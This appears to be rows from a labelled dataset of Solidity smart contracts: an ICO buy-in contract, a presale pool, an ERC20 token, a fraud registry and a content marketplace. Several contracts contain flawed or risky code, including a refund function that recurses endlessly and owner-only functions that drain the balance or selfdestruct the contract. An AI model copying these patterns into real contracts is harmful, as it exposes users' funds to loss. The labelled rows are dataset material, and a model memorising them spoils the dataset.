DaoToken public token = DaoToken(0xa9d585CE3B227d69985c3F7A866fE7d0e510da50);
address developer_address = 0x004B74Ea737AFD25ce083573fB45a49da762aCD4;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function ZiberToken() {
_supply = 10000000000;
balanceOf[msg.sender] = _supply;
name = "ZIBER LTD Crowdsale Tokens";
symbol = "ZBR";
decimals = 2;
}
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
function loadRefund() payable {
if(msg.value == 0) throw;
loadedRefund = safeAdd(loadedRefund, msg.value);
}
function refund() private {
uint256 weiValue = this.balance;
if (weiValue == 0) throw;
uint256 weiRefunded;
weiRefunded = safeAdd(weiRefunded, weiValue);
refund();
if (!msg.sender.send(weiValue)) throw;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function activate_kill_switch() {
if (msg.sender != developer_address) throw;
kill_switch = true;
}
function withdraw(){
if (!bought_tokens) {
uint256 eth_amount = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(eth_amount);
}
else {
uint256 ZBR_amount = balances[msg.sender] * ZBR_per_eth;
balances[msg.sender] = 0;
uint256 fee = 0;
if (!checked_in[msg.sender]) {
fee = ZBR_amount / 100;
if(!token.transfer(developer_address, fee)) throw;
}
if(!token.transfer(msg.sender, ZBR_amount - fee)) throw;
}
}
function add_to_ico() payable {
if (msg.sender != developer_address) throw;
if (kill_switch) throw;
if (bought_tokens) throw;
ico += msg.value;
}
function claim_ico(){
if (bought_tokens) return;
if (kill_switch) throw;
bought_tokens = true;
time_bought = now + 1 days;
token.proxyPayment.value(this.balance - ico)(address(this));
if(this.balance > max_eth_to_end)
{
msg.sender.transfer(ico);
}
else {
extra_time_bought = now + 1 days * 10;
if(this.balance < min_eth_to_end) throw;
else {
if (now > extra_time_bought) {
msg.sender.transfer(ico);
}
}
}
}
modifier onlyOwner() {
if (msg.sender != developer_address) {
throw;
}
_;
}
function withdrawEth() onlyOwner {
msg.sender.transfer(this.balance);
}
function kill() onlyOwner {
selfdestruct(developer_address);
}
function default_helper() payable {
if (now < 1500655200 ) throw;
else {
if (msg.value <= 1 finney) {
if (bought_tokens) {
if (token.totalEthers() >= token.CAP()) throw;
checked_in[msg.sender] = true;
}
else {
withdraw();
}
}
else {
if (kill_switch) throw;
if (bought_tokens) throw;
balances[msg.sender] += msg.value;
}
}
}
function () payable {
default_helper();
}
} | 1 | 5,104 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
}
contract WhiteList {
function checkMemberLevel (address addr) view public returns (uint) {}
}
contract PresalePool {
using SafeMath for uint;
uint8 public contractStage = 1;
address public owner;
uint[] public contributionCaps;
uint public feePct;
address public receiverAddress;
uint constant public contributionMin = 100000000000000000;
uint constant public maxGasPrice = 50000000000;
WhiteList constant public whitelistContract = WhiteList(0x8D95B038cA80A986425FA240C3C17Fb2B6e9bc63);
uint public nextCapTime;
uint [] public nextContributionCaps;
uint public addressChangeBlock;
uint public finalBalance;
uint[] public ethRefundAmount;
address public activeToken;
struct Contributor {
bool authorized;
uint ethRefund;
uint balance;
uint cap;
mapping (address => uint) tokensClaimed;
}
mapping (address => Contributor) whitelist;
struct TokenAllocation {
ERC20 token;
uint[] pct;
uint balanceRemaining;
}
mapping (address => TokenAllocation) distributionMap;
modifier onlyOwner () {
require (msg.sender == owner);
_;
}
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
event ContributorBalanceChanged (address contributor, uint totalBalance);
event ReceiverAddressSet ( address _addr);
event PoolSubmitted (address receiver, uint amount);
event WithdrawalsOpen (address tokenAddr);
event EthRefundReceived (address sender, uint amount);
event EthRefunded (address receiver, uint amount);
event TokensWithdrawn (address receiver, address token, uint amount);
event ERC223Received (address token, uint value);
function _toPct (uint numerator, uint denominator ) internal pure returns (uint) {
return numerator.mul(10 ** 20) / denominator;
}
function _applyPct (uint numerator, uint pct) internal pure returns (uint) {
return numerator.mul(pct) / (10 ** 20);
}
function PresalePool(address receiverAddr, uint[] capAmounts, uint fee) public {
require (fee < 100);
require (capAmounts.length>1 && capAmounts.length<256);
for (uint8 i=1; i<capAmounts.length; i++) {
require (capAmounts[i] <= capAmounts[0]);
}
owner = msg.sender;
receiverAddress = receiverAddr;
contributionCaps = capAmounts;
feePct = _toPct(fee,100);
whitelist[msg.sender].authorized = true;
}
function () payable public {
if (contractStage == 1) {
_ethDeposit();
} else if (contractStage == 3) {
_ethRefund();
} else revert();
}
function _ethDeposit () internal {
assert (contractStage == 1);
require (tx.gasprice <= maxGasPrice);
require (this.balance <= contributionCaps[0]);
var c = whitelist[msg.sender];
uint newBalance = c.balance.add(msg.value);
require (newBalance >= contributionMin);
require (newBalance <= _checkCap(msg.sender));
c.balance = newBalance;
ContributorBalanceChanged(msg.sender, newBalance);
}
function _ethRefund () internal {
assert (contractStage == 3);
require (msg.sender == owner || msg.sender == receiverAddress);
require (msg.value >= contributionMin);
ethRefundAmount.push(msg.value);
EthRefundReceived(msg.sender, msg.value);
}
function withdraw (address tokenAddr) public {
var c = whitelist[msg.sender];
require (c.balance > 0);
if (contractStage < 3) {
uint amountToTransfer = c.balance;
c.balance = 0;
msg.sender.transfer(amountToTransfer);
ContributorBalanceChanged(msg.sender, 0);
} else {
_withdraw(msg.sender,tokenAddr);
}
}
function withdrawFor (address contributor, address tokenAddr) public onlyOwner {
require (contractStage == 3);
require (whitelist[contributor].balance > 0);
_withdraw(contributor,tokenAddr);
}
function _withdraw (address receiver, address tokenAddr) internal {
assert (contractStage == 3);
var c = whitelist[receiver];
if (tokenAddr == 0x00) {
tokenAddr = activeToken;
}
var d = distributionMap[tokenAddr];
require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] );
if (ethRefundAmount.length > c.ethRefund) {
uint pct = _toPct(c.balance,finalBalance);
uint ethAmount = 0;
for (uint i=c.ethRefund; i<ethRefundAmount.length; i++) {
ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i],pct));
}
c.ethRefund = ethRefundAmount.length;
if (ethAmount > 0) {
receiver.transfer(ethAmount);
EthRefunded(receiver,ethAmount);
}
}
if (d.pct.length > c.tokensClaimed[tokenAddr]) {
uint tokenAmount = 0;
for (i=c.tokensClaimed[tokenAddr]; i<d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance,d.pct[i]));
}
c.tokensClaimed[tokenAddr] = d.pct.length;
if (tokenAmount > 0) {
require(d.token.transfer(receiver,tokenAmount));
d.balanceRemaining = d.balanceRemaining.sub(tokenAmount);
TokensWithdrawn(receiver,tokenAddr,tokenAmount);
}
}
}
function authorize (address addr, uint cap) public onlyOwner {
require (contractStage == 1);
_checkWhitelistContract(addr);
require (!whitelist[addr].authorized);
require ((cap > 0 && cap < contributionCaps.length) || (cap >= contributionMin && cap <= contributionCaps[0]) );
uint size;
assembly { size := extcodesize(addr) }
require (size == 0);
whitelist[addr].cap = cap;
whitelist[addr].authorized = true;
}
function authorizeMany (address[] addr, uint cap) public onlyOwner {
require (addr.length < 255);
require (cap > 0 && cap < contributionCaps.length);
for (uint8 i=0; i<addr.length; i++) {
authorize(addr[i], cap);
}
}
function revoke (address addr) public onlyOwner {
require (contractStage < 3);
require (whitelist[addr].authorized);
require (whitelistContract.checkMemberLevel(addr) == 0);
whitelist[addr].authorized = false;
if (whitelist[addr].balance > 0) {
uint amountToTransfer = whitelist[addr].balance;
whitelist[addr].balance = 0;
addr.transfer(amountToTransfer);
ContributorBalanceChanged(addr, 0);
}
}
function modifyIndividualCap (address addr, uint cap) public onlyOwner {
require (contractStage < 3);
require (cap < contributionCaps.length || (cap >= contributionMin && cap <= contributionCaps[0]) );
_checkWhitelistContract(addr);
var c = whitelist[addr];
require (c.authorized);
uint amount = c.balance;
c.cap = cap;
uint capAmount = _checkCap(addr);
if (amount > capAmount) {
c.balance = capAmount;
addr.transfer(amount.sub(capAmount));
ContributorBalanceChanged(addr, capAmount);
}
}
function modifyLevelCap (uint level, uint cap) public onlyOwner {
require (contractStage < 3);
require (level > 0 && level < contributionCaps.length);
require (this.balance <= cap && contributionCaps[0] >= cap);
contributionCaps[level] = cap;
nextCapTime = 0;
}
function modifyAllLevelCaps (uint[] cap, uint time) public onlyOwner {
require (contractStage < 3);
require (cap.length == contributionCaps.length-1);
require (time == 0 || time>block.timestamp);
if (time == 0) {
for (uint8 i = 0; i < cap.length; i++) {
modifyLevelCap(i+1, cap[i]);
}
} else {
nextContributionCaps = contributionCaps;
nextCapTime = time;
for (i = 0; i < cap.length; i++) {
require (contributionCaps[i+1] <= cap[i] && contributionCaps[0] >= cap[i]);
nextContributionCaps[i+1] = cap[i];
}
}
}
function modifyMaxContractBalance (uint amount) public onlyOwner {
require (contractStage < 3);
require (amount >= contributionMin);
require (amount >= this.balance);
contributionCaps[0] = amount;
nextCapTime = 0;
for (uint8 i=1; i<contributionCaps.length; i++) {
if (contributionCaps[i]>amount) contributionCaps[i]=amount;
}
}
function _checkCap (address addr) internal returns (uint) {
_checkWhitelistContract(addr);
var c = whitelist[addr];
if (!c.authorized) return 0;
if (nextCapTime>0 && block.timestamp>nextCapTime) {
contributionCaps = nextContributionCaps;
nextCapTime = 0;
}
if (c.cap<contributionCaps.length) return contributionCaps[c.cap];
return c.cap;
}
function _checkWhitelistContract (address addr) internal {
var c = whitelist[addr];
if (!c.authorized) {
var level = whitelistContract.checkMemberLevel(addr);
if (level == 0 || level >= contributionCaps.length) return;
c.cap = level;
c.authorized = true;
}
}
function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {
if (contractStage == 1) {
remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (contributionCaps[0],this.balance,remaining);
}
function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) {
var c = whitelist[addr];
if (!c.authorized) {
cap = whitelistContract.checkMemberLevel(addr);
if (cap == 0) return (0,0,0);
} else {
cap = c.cap;
}
balance = c.balance;
if (contractStage == 1) {
if (cap<contributionCaps.length) {
if (nextCapTime == 0 || nextCapTime > block.timestamp) {
cap = contributionCaps[cap];
} else {
cap = nextContributionCaps[cap];
}
}
remaining = cap.sub(balance);
if (contributionCaps[0].sub(this.balance) < remaining) remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (balance, cap, remaining);
}
function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) {
var c = whitelist[addr];
var d = distributionMap[tokenAddr];
for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));
}
return tokenAmount;
}
function closeContributions () public onlyOwner {
require (contractStage == 1);
contractStage = 2;
}
function reopenContributions () public onlyOwner {
require (contractStage == 2);
contractStage = 1;
}
function setReceiverAddress (address addr) public onlyOwner {
require (addr != 0x00 && receiverAddress == 0x00);
require (contractStage < 3);
receiverAddress = addr;
addressChangeBlock = block.number;
ReceiverAddressSet(addr);
}
function submitPool (uint amountInWei) public onlyOwner noReentrancy {
require (contractStage < 3);
require (receiverAddress != 0x00);
require (block.number >= addressChangeBlock.add(6000));
require (contributionMin <= amountInWei && amountInWei <= this.balance);
finalBalance = this.balance;
require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());
if (this.balance > 0) ethRefundAmount.push(this.balance);
contractStage = 3;
PoolSubmitted(receiverAddress, amountInWei);
}
function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {
require (contractStage == 3);
if (notDefault) {
require (activeToken != 0x00);
} else {
activeToken = tokenAddr;
}
var d = distributionMap[tokenAddr];
if (d.pct.length==0) d.token = ERC20(tokenAddr);
uint amount = d.token.balanceOf(this).sub(d.balanceRemaining);
require (amount > 0);
if (feePct > 0) {
require (d.token.transfer(owner,_applyPct(amount,feePct)));
}
amount = d.token.balanceOf(this).sub(d.balanceRemaining);
d.balanceRemaining = d.token.balanceOf(this);
d.pct.push(_toPct(amount,finalBalance));
}
function tokenFallback (address from, uint value, bytes data) public {
ERC223Received (from, value);
}
} | 1 | 3,118 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DMDPangea is StandardToken, Ownable {
string public constant name ="DMD Pangea Token";
string public constant symbol ="DMPNG";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 50000 * (10 ** uint256(decimals));
function DMDPangea() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 | 5,257 |
pragma solidity >=0.4.25 <0.6.0;
pragma experimental ABIEncoderV2;
contract Modifiable {
modifier notNullAddress(address _address) {
require(_address != address(0));
_;
}
modifier notThisAddress(address _address) {
require(_address != address(this));
_;
}
modifier notNullOrThisAddress(address _address) {
require(_address != address(0));
require(_address != address(this));
_;
}
modifier notSameAddresses(address _address1, address _address2) {
if (_address1 != _address2)
_;
}
}
contract SelfDestructible {
bool public selfDestructionDisabled;
event SelfDestructionDisabledEvent(address wallet);
event TriggerSelfDestructionEvent(address wallet);
function destructor()
public
view
returns (address);
function disableSelfDestruction()
public
{
require(destructor() == msg.sender);
selfDestructionDisabled = true;
emit SelfDestructionDisabledEvent(msg.sender);
}
function triggerSelfDestruction()
public
{
require(destructor() == msg.sender);
require(!selfDestructionDisabled);
emit TriggerSelfDestructionEvent(msg.sender);
selfdestruct(msg.sender);
}
}
contract Ownable is Modifiable, SelfDestructible {
address public deployer;
address public operator;
event SetDeployerEvent(address oldDeployer, address newDeployer);
event SetOperatorEvent(address oldOperator, address newOperator);
constructor(address _deployer) internal notNullOrThisAddress(_deployer) {
deployer = _deployer;
operator = _deployer;
}
function destructor()
public
view
returns (address)
{
return deployer;
}
function setDeployer(address newDeployer)
public
onlyDeployer
notNullOrThisAddress(newDeployer)
{
if (newDeployer != deployer) {
address oldDeployer = deployer;
deployer = newDeployer;
emit SetDeployerEvent(oldDeployer, newDeployer);
}
}
function setOperator(address newOperator)
public
onlyOperator
notNullOrThisAddress(newOperator)
{
if (newOperator != operator) {
address oldOperator = operator;
operator = newOperator;
emit SetOperatorEvent(oldOperator, newOperator);
}
}
function isDeployer()
internal
view
returns (bool)
{
return msg.sender == deployer;
}
function isOperator()
internal
view
returns (bool)
{
return msg.sender == operator;
}
function isDeployerOrOperator()
internal
view
returns (bool)
{
return isDeployer() || isOperator();
}
modifier onlyDeployer() {
require(isDeployer());
_;
}
modifier notDeployer() {
require(!isDeployer());
_;
}
modifier onlyOperator() {
require(isOperator());
_;
}
modifier notOperator() {
require(!isOperator());
_;
}
modifier onlyDeployerOrOperator() {
require(isDeployerOrOperator());
_;
}
modifier notDeployerOrOperator() {
require(!isDeployerOrOperator());
_;
}
}
contract Servable is Ownable {
struct ServiceInfo {
bool registered;
uint256 activationTimestamp;
mapping(bytes32 => bool) actionsEnabledMap;
bytes32[] actionsList;
}
mapping(address => ServiceInfo) internal registeredServicesMap;
uint256 public serviceActivationTimeout;
event ServiceActivationTimeoutEvent(uint256 timeoutInSeconds);
event RegisterServiceEvent(address service);
event RegisterServiceDeferredEvent(address service, uint256 timeout);
event DeregisterServiceEvent(address service);
event EnableServiceActionEvent(address service, string action);
event DisableServiceActionEvent(address service, string action);
function setServiceActivationTimeout(uint256 timeoutInSeconds)
public
onlyDeployer
{
serviceActivationTimeout = timeoutInSeconds;
emit ServiceActivationTimeoutEvent(timeoutInSeconds);
}
function registerService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, 0);
emit RegisterServiceEvent(service);
}
function registerServiceDeferred(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, serviceActivationTimeout);
emit RegisterServiceDeferredEvent(service, serviceActivationTimeout);
}
function deregisterService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
registeredServicesMap[service].registered = false;
emit DeregisterServiceEvent(service);
}
function enableServiceAction(address service, string memory action)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
bytes32 actionHash = hashString(action);
require(!registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = true;
registeredServicesMap[service].actionsList.push(actionHash);
emit EnableServiceActionEvent(service, action);
}
function disableServiceAction(address service, string memory action)
public
onlyDeployer
notNullOrThisAddress(service)
{
bytes32 actionHash = hashString(action);
require(registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = false;
emit DisableServiceActionEvent(service, action);
}
function isRegisteredService(address service)
public
view
returns (bool)
{
return registeredServicesMap[service].registered;
}
function isRegisteredActiveService(address service)
public
view
returns (bool)
{
return isRegisteredService(service) && block.timestamp >= registeredServicesMap[service].activationTimestamp;
}
function isEnabledServiceAction(address service, string memory action)
public
view
returns (bool)
{
bytes32 actionHash = hashString(action);
return isRegisteredActiveService(service) && registeredServicesMap[service].actionsEnabledMap[actionHash];
}
function hashString(string memory _string)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(_string));
}
function _registerService(address service, uint256 timeout)
private
{
if (!registeredServicesMap[service].registered) {
registeredServicesMap[service].registered = true;
registeredServicesMap[service].activationTimestamp = block.timestamp + timeout;
}
}
modifier onlyActiveService() {
require(isRegisteredActiveService(msg.sender));
_;
}
modifier onlyEnabledServiceAction(string memory action) {
require(isEnabledServiceAction(msg.sender, action));
_;
}
}
contract FraudChallenge is Ownable, Servable {
string constant public ADD_SEIZED_WALLET_ACTION = "add_seized_wallet";
string constant public ADD_DOUBLE_SPENDER_WALLET_ACTION = "add_double_spender_wallet";
string constant public ADD_FRAUDULENT_ORDER_ACTION = "add_fraudulent_order";
string constant public ADD_FRAUDULENT_TRADE_ACTION = "add_fraudulent_trade";
string constant public ADD_FRAUDULENT_PAYMENT_ACTION = "add_fraudulent_payment";
address[] public doubleSpenderWallets;
mapping(address => bool) public doubleSpenderByWallet;
bytes32[] public fraudulentOrderHashes;
mapping(bytes32 => bool) public fraudulentByOrderHash;
bytes32[] public fraudulentTradeHashes;
mapping(bytes32 => bool) public fraudulentByTradeHash;
bytes32[] public fraudulentPaymentHashes;
mapping(bytes32 => bool) public fraudulentByPaymentHash;
event AddDoubleSpenderWalletEvent(address wallet);
event AddFraudulentOrderHashEvent(bytes32 hash);
event AddFraudulentTradeHashEvent(bytes32 hash);
event AddFraudulentPaymentHashEvent(bytes32 hash);
constructor(address deployer) Ownable(deployer) public {
}
function isDoubleSpenderWallet(address wallet)
public
view
returns (bool)
{
return doubleSpenderByWallet[wallet];
}
function doubleSpenderWalletsCount()
public
view
returns (uint256)
{
return doubleSpenderWallets.length;
}
function addDoubleSpenderWallet(address wallet)
public
onlyEnabledServiceAction(ADD_DOUBLE_SPENDER_WALLET_ACTION) {
if (!doubleSpenderByWallet[wallet]) {
doubleSpenderWallets.push(wallet);
doubleSpenderByWallet[wallet] = true;
emit AddDoubleSpenderWalletEvent(wallet);
}
}
function fraudulentOrderHashesCount()
public
view
returns (uint256)
{
return fraudulentOrderHashes.length;
}
function isFraudulentOrderHash(bytes32 hash)
public
view returns (bool) {
return fraudulentByOrderHash[hash];
}
function addFraudulentOrderHash(bytes32 hash)
public
onlyEnabledServiceAction(ADD_FRAUDULENT_ORDER_ACTION)
{
if (!fraudulentByOrderHash[hash]) {
fraudulentByOrderHash[hash] = true;
fraudulentOrderHashes.push(hash);
emit AddFraudulentOrderHashEvent(hash);
}
}
function fraudulentTradeHashesCount()
public
view
returns (uint256)
{
return fraudulentTradeHashes.length;
}
function isFraudulentTradeHash(bytes32 hash)
public
view
returns (bool)
{
return fraudulentByTradeHash[hash];
}
function addFraudulentTradeHash(bytes32 hash)
public
onlyEnabledServiceAction(ADD_FRAUDULENT_TRADE_ACTION)
{
if (!fraudulentByTradeHash[hash]) {
fraudulentByTradeHash[hash] = true;
fraudulentTradeHashes.push(hash);
emit AddFraudulentTradeHashEvent(hash);
}
}
function fraudulentPaymentHashesCount()
public
view
returns (uint256)
{
return fraudulentPaymentHashes.length;
}
function isFraudulentPaymentHash(bytes32 hash)
public
view
returns (bool)
{
return fraudulentByPaymentHash[hash];
}
function addFraudulentPaymentHash(bytes32 hash)
public
onlyEnabledServiceAction(ADD_FRAUDULENT_PAYMENT_ACTION)
{
if (!fraudulentByPaymentHash[hash]) {
fraudulentByPaymentHash[hash] = true;
fraudulentPaymentHashes.push(hash);
emit AddFraudulentPaymentHashEvent(hash);
}
}
} | 1 | 4,045 |
pragma solidity =0.5.1;
contract Pmes {
address public owner;
uint256 public nextCid = 1;
struct Content {
string cus;
string description;
address owner;
uint256 readPrice;
uint256 writePrice;
}
mapping(uint256 => string[]) public reviews;
enum OfferStatus {Cancelled, Rejected, Opened, Accepted}
struct Offer {
uint256 id;
string buyerAccessString;
string sellerPublicKey;
string sellerAccessString;
OfferStatus status;
uint256 cid;
address buyerId;
uint256 offerType;
uint256 price;
}
mapping(uint256 => Content) public contents;
mapping(string => uint256) CusToCid;
function getCid(string memory cus) public view returns (uint256) {
return CusToCid[cus];
}
uint256 public nextOfferId = 1;
mapping(uint256 => Offer) public offers;
mapping(uint256 => mapping(address => uint256)) public CidBuyerIdToOfferId;
mapping(uint256 => uint256[]) public CidToOfferIds;
mapping(address => uint256[]) public BuyerIdToOfferIds;
mapping(address => uint256) public publishersMap;
event postContent(uint256);
event postOffer(uint256, uint256, uint256, address);
event acceptOffer(uint256);
event postReview();
constructor() public
{
require (owner == address(0x0));
owner = msg.sender;
}
function setAccessLevel(
address publisherAddress,
uint256 accessLevel
)
public
minAccessLevel(5)
{
publishersMap[publisherAddress] = accessLevel;
}
function makeCid(
string memory cus,
address ownerId,
string memory description,
uint256 readPrice,
uint256 writePrice
)
public
minAccessLevel(2)
returns (uint256)
{
uint256 cid = CusToCid[cus];
require(cid == 0, "Content already uploaded");
cid = nextCid++;
CusToCid[cus] = cid;
contents[cid] = Content(cus, description, ownerId, readPrice, writePrice);
emit postContent(cid);
return cid;
}
function setReadPrice(uint256 cid, uint256 price) public minAccessLevel(1) {
require(cid > 0 && cid < nextCid);
contents[cid].readPrice = price;
}
function setWritePrice(uint256 cid, uint256 price) public minAccessLevel(1) {
require(cid > 0 && cid < nextCid);
contents[cid].writePrice = price;
}
function addReview(uint256 cid, address buyerId, string memory review) public minAccessLevel(1) {
uint256 offerId = CidBuyerIdToOfferId[cid][buyerId];
require(offerId != 0);
require(offers[offerId].status == OfferStatus.Accepted);
reviews[cid].push(review);
emit postReview();
}
function setDescription(uint256 cid, string memory description) public minAccessLevel(1) {
require(cid > 0 && cid < nextCid);
contents[cid].description = description;
}
function changeOwner(
uint256 cid,
address buyerId,
string memory sellerPublicKey,
string memory sellerAccessString
)
public
minAccessLevel(4)
{
uint256 offerId = CidBuyerIdToOfferId[cid][buyerId];
require(offers[offerId].status == OfferStatus.Opened);
contents[cid].owner = buyerId;
offers[offerId].sellerAccessString = sellerAccessString;
offers[offerId].sellerPublicKey = sellerPublicKey;
offers[offerId].status = OfferStatus.Accepted;
emit acceptOffer(cid);
}
function sellContent(
uint256 cid,
address buyerId,
string memory sellerPublicKey,
string memory sellerAccessString
)
public
minAccessLevel(3)
{
uint256 offerId = CidBuyerIdToOfferId[cid][buyerId];
require(offers[offerId].status == OfferStatus.Opened);
offers[offerId].sellerAccessString = sellerAccessString;
offers[offerId].sellerPublicKey = sellerPublicKey;
offers[offerId].status = OfferStatus.Accepted;
emit acceptOffer(cid);
}
function makeOffer(
uint256 cid,
address buyerId,
uint256 offerType,
uint256 price,
string memory buyerAccessString
)
public
minAccessLevel(2)
{
require(cid > 0 && cid < nextCid, "Wrong cid");
require(
offers[CidBuyerIdToOfferId[cid][buyerId]].status != OfferStatus.Accepted &&
offers[CidBuyerIdToOfferId[cid][buyerId]].status != OfferStatus.Opened,
"Offer already exist"
);
offers[nextOfferId] = Offer(
offers[CidBuyerIdToOfferId[cid][buyerId]].id + 1,
buyerAccessString,
"none",
"none",
OfferStatus.Opened,
cid,
buyerId,
offerType,
price
);
CidBuyerIdToOfferId[cid][buyerId] = nextOfferId;
CidToOfferIds[cid].push(nextOfferId);
BuyerIdToOfferIds[buyerId].push(nextOfferId);
emit postOffer(cid, offerType, price, buyerId);
nextOfferId++;
}
function cancelOffer(uint256 cid, address buyerId) public minAccessLevel(2) {
uint256 offerId = CidBuyerIdToOfferId[cid][buyerId];
require(offers[offerId].status == OfferStatus.Opened);
offers[offerId].status = OfferStatus.Cancelled;
}
function rejectOffer(uint256 cid, address buyerId) public minAccessLevel(2) {
uint256 offerId = CidBuyerIdToOfferId[cid][buyerId];
require(offers[offerId].status == OfferStatus.Opened);
offers[offerId].status = OfferStatus.Rejected;
}
modifier minAccessLevel(uint256 level) {
if(msg.sender != owner) {
require(publishersMap[msg.sender] >= level);
}
_;
}
} | 1 | 3,356 |
pragma solidity ^0.4.24;
library DataSet {
enum RoundState {
UNKNOWN,
STARTED,
STOPPED,
DRAWN,
ASSIGNED
}
struct Round {
uint256 count;
uint256 timestamp;
uint256 blockNumber;
uint256 drawBlockNumber;
RoundState state;
uint256 pond;
uint256 winningNumber;
address winner;
}
}
library NumberCompressor {
uint256 constant private MASK = 16777215;
function encode(uint256 _begin, uint256 _end, uint256 _ceiling) internal pure returns (uint256)
{
require(_begin <= _end && _end < _ceiling, "number is invalid");
return _begin << 24 | _end;
}
function decode(uint256 _value) internal pure returns (uint256, uint256)
